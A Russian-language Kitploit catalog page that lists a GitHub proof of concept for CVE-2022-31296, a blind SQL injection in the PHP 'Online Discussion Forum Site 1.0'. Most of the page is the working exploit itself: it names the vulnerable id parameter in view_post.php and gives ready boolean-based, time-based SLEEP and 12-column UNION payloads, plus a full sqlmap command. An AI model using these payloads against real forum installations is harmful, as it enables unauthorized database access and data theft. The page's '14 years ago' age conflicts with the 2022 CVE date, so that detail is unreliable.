Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-31296 — Сайт онлайн-форума для обсуждений 1.0 — Слепая SQL-инъекция | Kitploit
Инструменты/GitHubGitHub/bigzooooz/cve-2022-31296
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubbigzooooz/cve-2022-31296

CVE-2022-31296

Сайт онлайн-форума для обсуждений 1.0 — Слепая SQL-инъекция

Репозиторий
14 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-31296

Сайт форума онлайн-обсуждений 1.0 - Blind SQL-инъекция

Exploit Title: Сайт форума онлайн-обсуждений 1.0 - Blind SQL-инъекция

Date: 2022-06-13

CVE: CVE-2022-31296

Exploit Author: Abdulaziz Saad (@b4zb0z)

Vendor Homepage: https://www.sourcecodester.com/

Software Link:

https://www.sourcecodester.com/php/15337/online-discussion-forum-site-phpoop-free-source-code.html

Version: 1.0

Tested on: LAMP, Ubuntu

[#] Местоположение уязвимости: $_GET['id'] в /odfs/posts/view_post.php:3

root@kitploit:~
Параметр: id (GET)
root@kitploit:~
Тип: boolean-based blind
Название: AND boolean-based blind - WHERE or HAVING clause
Payload: p=posts/view_post&id=1' AND 8036=8036 AND 'zhKq'='zhKq
root@kitploit:~
Тип: time-based blind
root@kitploit:~
Название: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: p=posts/view_post&id=1' AND (SELECT 4593 FROM (SELECT(SLEEP(5)))Tmcg) AND 'qyDN'='qyDN
root@kitploit:~
Тип: UNION query
root@kitploit:~
Название: Generic UNION query (NULL) - 12 columns
Payload: p=posts/view_post&id=-5399' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171767671,0x5a7272534b4b78734a53464e62454b52617876484e6670665570454454526a6963626f506e45776e,0x717a707671)-- -

[#] Эксплуатация с помощью SQLMAP: sqlmap -u "http://localhost/odfs/?p=posts/view_post&id=1" --dbms=mysql

Скачать инструмент